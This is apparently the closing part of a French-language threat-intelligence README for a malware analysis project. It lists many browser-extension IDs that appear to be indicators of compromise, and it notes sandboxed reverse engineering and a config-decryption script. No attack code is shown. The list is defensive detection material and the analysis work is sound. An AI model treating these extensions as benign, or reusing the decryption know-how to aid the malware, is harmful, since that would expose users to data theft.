jnlgamecbpmbajjfhmmmlhejkemejdma jojhfeoedkpkglbfimdfabpdfjaoolaf
kdgponmicjmjiejhifbjgembdcaclcib keenhcnmdmjjhincpilijphpiohdppno
kfdniefadaanbjodldohaedphafoffoh kgdijkcfiglijhaglibaidbipiejjfdp
khgocmkkpikpnmmkgmdnfckapcdkgfaf khpkpbbcccdmmclmpigdgddabeilkdpd
kilnpioakcdndlodeeceffgjdpojajlo kjjebdkfeagdoogagbhepmbimaphnfln
kkpehldckknjffeakihjajcjccmcjflh kkpllbgjhchghjapjbinnoddmciocphm
kkpllkodjeloidieedojogacfhpaihoh klghhnkeealcohjjanjjdaeeggmfmlpl
kmphdnilpmdejikjdnlbcnmnabepfgkh kncchdigobghenbbaddojjnnaogfppfj
kolfcecahpbgbilkdkalabnfjjklkkae kpfopkelmapcoipemfendmdcghnegimn
kppfdiipphfccemcignhifpjkapfbihd kppgpfphbmbcgeglphjnhnhibonmebkn
lccbohhgfkdikahanoclbdmaolidjdfl ldcihfaojdpmhjkhioilfjjckehehddg
lfmmjkfllhmfmkcobchabopkcefjkoip lgmpcpglpngdoalbgeoldeajfclnhafa
lkpmkhpnhknhmibgnmmhdhgdilepfghe llakdhpogpnejheknjbhbadoaomejgbi
lmkncnlpeipongihbffpljgehamdebgi lnnnmfcpbkafcpgdilckhmhbkkbpkmid
loinekcabhlmhjjbocijdoimmejangoa lpfcbjknijpeeillifnkikgncikgfhdo
lpilbniiabackdjcionkobglmddfbcjo magbanejlegnbcppjljfhnmfmghialkl
mapbhaebnddapnmifbbkgeedkeplgjmf mcbigmjiafegjnnogedioegffbooigli
mcohilncbfahbmgdjkbpemcciiolgcge mdjjoodeandllhefapdpnffjolechflh
mdjmfdffdcmnoblignmgpommbefadffd mdnaglckomeedfbogeajfajofmfgpoae
mfgccjchihfkkindfppnaooecgfneiii mfiealgchgibibbamfjebflnfjihfedk
mgbfflhghaohmaecmaggieniidindaoc mgfbabcnedcejkfibpafadgkhmkifhbd
mgffkfbidihjpoaomajlbgchddlicgpn mjgkpalnahacmhkikiommfiomhjipgjn
mkchoaaiifodcflmbaphdgeidocajadp mkjjflkhdddfjhonakofipfojoepfndk
mkpegjkblkkefacfnmkajcjmabijhclg mlbnicldlpdimbjdcncnklfempedeipj
mlhakagmgkmonhdonhkpjeebfphligng mmmjbcfofconkannjonfmjjajpllddbg
mnfifefkajgofkcjkemidiaecocnkjeh mnnkpffndmickbiakofclnpoiajlegmg
modjfdjcodmehnpccdjngmdfajggaoeh nanjmdknhkinifnkgdcggcfnhdaammmj
nankopfjhdflikcokhgohiaoehnjfako nbdhibgjnjpnkajaghbffjbkcgljfgdi
nbdpmlhambbdkhkmbfpljckjcmgibalo nebnhfamliijlghikdgcigoebonmoibm
nfaepmamdapehcbedhejbjcpnlcldodi nfinomegcaccbhchhgflladpfbajihdf
ngakogceekkandcbkniokoghdckjhhok nglnaekfdaelelcaokeemlnopjhekdkj
nhlnehondigmgckngjomcpcefcdplmgc nhnkbkgjikgcigadomkphalanndcapjk
niiaamnmgebpeejeemoifgdndgeaekhe njoljnomkdoakfphjbapdopdcneceeaf
nkbihfbeogaeaoehlefnkodbefgpgknn nkddgncdjgjfcddamfgcmfnlhccnimig
nknhiehlklippafakaeklbeglecifhad nlbmnnijcnlegkjjpcfjclmcfggfefdm
nlgnepoeokdfodgjkjiblkadkjbdfmgd nopnfnlbinpfoihclomelncopjiioain
nphplpgoakhhjchkkhmiggakijnkhfnd ocjdpmoallmgmjbbogfiiaofphbjgchh
ocjobpilfplciaddcbafabcegbilnbnb ocmccklecaalljlflmclidjeclpcpdim
odbfpeeihdkbihmopkbjmoonfanlbfcl oehdbmfbnjnpahadljbdcjndmepmgjgl
ofeeamlegilfbjlgbephmdhchpblfigo ohjgojhmjldjfiningdelbffpnddmiphh
ojggmchlghnjlapmfbnjholfjkiidbch oklkeijlcjcpbokmkmnjepjhnggkfkcl
oldojieloelkkfeacfinhcngmbkepnlm olgpchjlegmakkhfbahgnjojlefnealp
olkbchllhcflpbjfgagahpkjnjioiedg omaabbefbmiijedngplfjmnooppbclkk
omajpeaffjgmlpmhbfdjepdejoemifpe onhogfjeacnfoofkfgppdlbmlmnplgbn
ooiepdgjjnhcmlaobfinbomgebfgablh ookjlbkiijinhpmnjffcofjonbfbgaoc
opcgpfmipidbgpenhmajoajpbobppdil oponnjpnbhdmohlkonljdfhbeibljfoa
oppceojapmdmhpnmjpballbbdclocdhj panpgppehdchfphcigocleabcmcgfoca
pdadjkfkgcafgbceimcpbkalnfnepbnk pdgbckgdncnhihllonhnjbdoighgpimk
pdliaogehgdbhbnmkklieghmmjkpigpa pdlocjdlejekdbpghdcmedeacpkfiiof
peigonhbenoefaeplkpalmafieegnapj penjlddjkjgpnkllboccdgccekpkcbin
pgiaagfkgcbnmiiolekcfmljdagdhlcm pgojdfajgcjjpjnbpfaelnpnjocakldb
phkbamefinggmakgklpkljjmgibohnba pmmbeeacafhbpgmlkacpadheejlhhkbf
pnndplcbkakcplkjnolgbkdgjikjednm pnphepacpjpklpbacfmebicbgndobakn
pocmplpaccanhmnllbbkpgfliimjljgo pogabilnghhbafaheaepaaeopjpleimd
ppbibelpcjmhbdihakflkdcoccbgbkpo ppdadbejkmjnefldpcdjhnkpbjkikoip
Voir CHANGELOG.md pour les mises à jour versionnées.
Voir CONTRIBUTING.md pour les directives, les modèles de problèmes et la checklist des PR.
Le texte d'analyse et les scripts sont publiés sous la licence MIT. Les listes d'IOC et le contenu de renseignement sur les menaces sont fournis à des fins défensives ; la réutilisation dans des produits commerciaux est autorisée selon les termes de la licence.
Ingénierie inverse indépendante dans un environnement bac à sable. La configuration chiffrée a été récupérée par analyse statique et émulation CPU par helper. Voir scripts/decrypt_all.py et SECURITY.md.